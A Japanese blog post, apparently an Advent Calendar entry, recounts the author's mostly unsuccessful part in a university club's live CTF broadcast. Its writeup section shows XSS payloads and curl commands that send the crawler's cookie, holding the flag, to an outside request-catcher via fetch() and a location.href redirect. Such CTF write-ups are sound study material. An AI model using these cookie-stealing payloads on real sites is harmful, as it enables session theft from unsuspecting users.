12月になり、どんどん寒くなってきましたね。私は冷え性なので、特に手足が本当に寒いです。温まりたい。
というわけで、冬の風物詩、激冷えCTF参加記の時間です。0完太陽で椅子を温め、寒さに負けない体を作りましょう。
この記事は、CTF Advent Calendar 2022とTSG Advent Calendarの3日目の記事です。
CTF Advent Calendarの昨日(2日目)の記事はkn1chtさんの「技術記事にGoogle Mapsを埋め込む方法」でした。
TSGの方は3日目にして私がトップバッターですが……
要約
駒場祭(東大の学祭の1つ)の企画であるTSG LIVE! 9のライブCTFに青チームの一員として参加し、チームへの貢献0で終わりました。ライブCTFで椅子を温め0完太陽し地蔵となり激冷えするのは3回目、冬の激冷えCTF参加記の伝統も2年目に突入です。
(4時間48分15秒頃から。技術トラブルで冒頭が無音ですが……)
これまでのライブCTF参加記:
yuyusuki.hatenablog.com
yuyusuki.hatenablog.com
TSG LIVE! とは
私の所属サークルである東大のコンピュータ系サークルTSGが、学祭などの折に実施しているプログラミング生放送です。今回で9回目になります。
ちなみに、ここしばらくフルリモート開催です。
ライブCTFとは
TSGのCTF上級者が作問をする短期間CTFです。TSGのCTF初〜中級者が2チームに分かれて対戦するのを眺める生放送ではありますが、外部の人もリアルタイムで参加できます。
筆者について
CTFに興味はあります。興味があるだけで、未だにCTFを始められていません。カス怠惰が代……
参加記 / writeup
自分のチームが4人、相手のチームが3人(強めの人が1人いる)。7人もいるのにwebをやれそうな人が自分1人しかいない気がする。web取ってアド取るぞという気持ちに。
そして、web問題が2つあり、1つ目の方が簡単そうだったので、そちらに手をつけました。
問題一覧
Onomancy-Oriented Programming
お恥ずかしながら、crawlerが出てくるweb問題を今まで一度も解いたことがなく、「仕組みがよくわからない」と勝手に敬遠していたため、どういう攻撃手法が使えるのか一切知りませんでした。生放送のプレイヤーだと強制力があるので頭が働きますが、普段のCTFには全然参加できないカスなので……
とりあえず、rev複合問題でない限りフラグはサーバ側にあるので、サーバ側のコードを読んでいきました。すると、redisのキューに入力(パラメータ)が積まれ、それをcrawlerが消化する際にヘッドレスブラウザでアプリにアクセスしていることが判明しました。また、Puppeteerの操作時にフラグをcookieの一部として与えていることが分かりました。
ここで、フロントエンド側のコードは一切見ていないものの、XSSっぽいなと当たりを付けました*1。
昔からXSSをCTFで出題する方法が全く見当も付かなかったのですが、なるほどヘッドレスブラウザかあ……
ところで、crawlerのディレクトリには「こっちあんま見なくていいと思うよ」という注意書きREADMEがありました。私はガン無視してcrawlerのコードを読みましたし、たぶんそれ以外のルートでは正解に辿り着けなかったと思います。ただ、一般的なCTFerであればcrawlerが出てきた時点でもうクライアント側の脆弱性だと分かるはずで、それなら先にフロントエンドのコードから読むべきなのでしょう。flagの取得方法なんて大抵document.cookie
の一択でしょうし。
気を取り直してXSSを探すと、ejsファイルに明らかに怪しい記述が。
<input type="hidden" name="name" value="<%- name %>">
どうせ%-
はエスケープしないやつだろうな、と思ってejsの構文を調べます。当たり。
じゃあ、nameに適当なHTML、たとえば"><script>alert(document.cookie)</script>
仕込んでアクセスするとXSSできそう。
// アクセス先 http://104.198.95.69:56520/?name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
お、アラート発火。やったね。
さて、フラグの入手方法について考えます。XSSを発動できるのはあくまでサーバのヘッドレスブラウザ内です。そこで得たフラグをどうやって外に伝えるか。
10秒くらい考えて、外にサーバを立てアクセスを飛ばすしかないなという結論になりました。え、めんど……
いやいや、こういうパターンの問題が頻出なのだとしたら、まさか全CTFerがいちいち攻撃用サーバを用意しているなんてことはないでしょう。そこで、「CTF XSS サーバ」などと検索すると、以下のページを発見しました。
ここで書かれているRequestBin(私が使ったのはその進化版? のpipedream)というサービスを利用すればフラグが取れそうです。XSSでpipedreamへリクエストを飛ばすコードを仕込み、そこにパラメータとしてcookieの中身をくっつけるだけ。
私以外の3人がcryptoとかrevとかpwnで相談してワイワイしている中、そっちの話題に一切入れないまま孤独にwebを解くというのは地味に精神に来るものがあります。おまけに、他の人々は次々問題を通しているのに、自分は1問目。前の2回のライブCTFと似た展開、強烈な既視感、敗北の予感、焦り。しかし今度こそ、今回こそはそんな負の感情とはグッバイです。
# "><script>fetch('https://xxxxxxxxxxxxxxx.m.pipedream.net?'+document.cookie)</script> curl -X POST -d 'name=%22%3E%3Cscript%3Efetch%28%27https%3A%2F%2Fxxxxxxxxxxxxxxx.m.pipedream.net%3F%27%2Bdocument.cookie%29%3C%2Fscript%3E' http://104.198.95.69:56520/report
よし、どうだ!
……pipedreamにリクエストが飛んでこない。
正直かなり泣きそうになりましたが、たぶんどこかミスっているのでしょう。デバッグするために、手元で動かそうとします。docker composeの設定ファイルがあるので、雑にdocker compose upをします。
Dockerがマジで謎のエラー吐きやがった。何だよfailed to fetch anonymous tokenって。CTFと無関係のとこでハマるとは思わんやん、さすがに。
仕方ないので、前面のアプリサーバだけ直接node.jsで実行し、URLエンコード・デコードを経ても意図した通りの文字列がサーバ内で受信されていることを確認しました。reporterとcrawlerの間でも齟齬が生まれる余地はなさそうだったので、意図した入力がちゃんとキューに積まれているのは確実そうです。
じゃあ、作ったペイロードをローカルのブラウザで実行してみます。URL欄にhttp://104.198.95.69:56520/?name=%22%3E%3Cscript%3Efetch%28%27https%3A%2F%xxxxxxxxxxxxxxx.m.pipedream.net%3F%27%2Bdocument.cookie%29%3C%2Fscript%3E
などと入力してアクセスすると……
いや、これはFirefoxだからで、Chromeだと何かXSSフィルタとかにかかってエラーにならないのかもしれない*2。じゃあChromiumを開いてアクセスを……
リクエスト来るんか〜い!!!!!
……状況を整理しましょう。
手元ではXSSが発動し、pipedreamへのリクエストも飛んでくる。
なのに、それを実際のサーバで発動させようとしても、一切のリクエストが飛んでこない。XSSが発動していないのか、リクエストが何らかの理由でブロックされているのか?
……万事休す。
このまま、どこが悪いのか一切理解できないまま、後半の50分くらいを溶かし、タイムアップ。
他の問題も手を出そうか迷ったのですが、普通に私レベルで(web以外の)知識のない人間が解ける問題はもう残されていないし、miscもないし、諦めました。
事故調査委員会
放送後の夜、作問担当の人とウンウン唸りながら原因究明をしました。
まずはキューが詰まっている可能性を一応疑いましたが、そもそも本番でちゃんと通せてる人がいる以上その可能性は考えにくいし、実際想定解ソルバがちゃんと動作したので却下されました。
次に、pipedream自体、あるいはCTFサーバとpipedreamの接続が悪いという可能性を考えました。しかし、想定解ソルバの攻撃用サーバURLをpipedreamに設定しても動いたらしく、却下されました。
しかし、想定解はfetch
ではなくlocation.href
によるリダイレクトを使っていたので、そちらのコードに差し替えたところ、flagが降ってきました。
# "><script>location.href='https://xxxxxxxxxxxxxxx.m.pipedream.net?'+document.cookie</script> curl -X POST -d 'name=%22%3E%3Cscript%3Elocation.href%3D%27https%3A%2F%2Fxxxxxxxxxxxxxxx.m.pipedream.net%3F%27%2Bdocument.cookie%3C%2Fscript%3E' http://104.198.95.69:56520/report
TSGLIVE{TSGCTF_IS_NAMED_AFTER_TSG._DID_YOU_KNOW?}
手元のブラウザで動くのにヘッドレスブラウザで動かない理由はどうしても分からなかったのですが、後で読んだ他の人のwriteupにこういう記述がありました。
worker.tsを見ると、page.goto(urlの後にsleepとかが無いので、一瞬開いてfetchの実行にまで至ってないのでは?と想像した。
……アー、ありそう。
とはいえ、クローラの実装ではgoto
メソッドのオプションにwaitUntil: 'load'
を与えているし、loadイベントはbody内のscriptの実行より後だから、fetchはちゃんと実行されても変じゃないとは思うんですが。
そうはいっても、こういう微妙なタイミングは割と容易に前後するし、手元と本番環境でも食い違ったりするので、うん。
教訓
似たようなハマり方をしたら、今回みたいなトラップである可能性を真っ先に検討する。fetch
とかlocation.href
リダイレクトとかimgのonload
とか、各種の方法を全て試して、それでもダメだったら別の原因を考える。
感想
正直かなり泣きそうですが、涙の数だけ強くなれると言いますし、まあ。
そもそもの話、たぶん……というか絶対もっとCTF参加した方がいいですね。来年はもっと参加します。
ちなみにこないだHITCON CTF出たらwebのbeginner問解けず敗北しました。バカ。「HMAC改竄とか無理」とか言う前にリセマラすれば良かったんや……。これで勝ったと思うなよ!!!!!!!
あと、webしか解けない(そのくせwebも解けない)のが本当に肩身狭いなあとは思います。思うんですけど、webは解いてて楽しすぎるし、数学無理すぎて文転した*3レベルだからcryptoたぶん分からんし、pwnとかrevとかはたぶん必要な基礎知識が多いし、うーん。
せめてcryptoくらいは手を出した方がいい、それはそう。
で、これはTSG固有の話なのですが。
実況のプレイヤー紹介のところで「pwnとwebは万年プレイヤー不足状態」みたいな話をしていました。
実際ヤバくて、私も学部3年生だからそろそろ後進を育てるくらいのフェーズのはずなのですが。webやってる人の中だと未だに私が一番下の世代だし、教えられるほどの実力もないし、詰み。
ライブCTFの継続という意味でも、新たに作問者が育ってないのは非常にまずい、はずなんですよね。実況も作問も、かなりの部分を卒業した人に任せているこの惨状……
別にたかがサークルの行事だし終わらせていいじゃんという説もありますが、どうもこの大会は非常に好評らしい。だったら自分(たち?)の実力不足で潰したくはないなというのが正直なところで。
ちょっとさすがに先輩webプレイヤーの皆様に申し訳が立たないなと思い始めたので、うん、来年こそは。
いやね、他の人がやってくれるなら全然歓迎なんですけど。誰もいないなら……やるしかないんでしょうね。
こういう義務感みたいなのがないと勉強しないタイプなので(最悪?)、ちょうどいいかな、と。
とりあえず、来年の目標はライブCTF不憫枠の汚名返上です。4度目の正直。
よろしくお願いします。
CTF Advent Calendar 2022、次の枠は……今のところ13日目のhamayanhamayanさんです。内容は未定っぽい。
TSG Advent Calendar 2022の方は、11日目のdaiさんによる「onnxを結合する」です。
なお、TSG部員やCTFerのみなさんは、間の枠を埋めることもできます。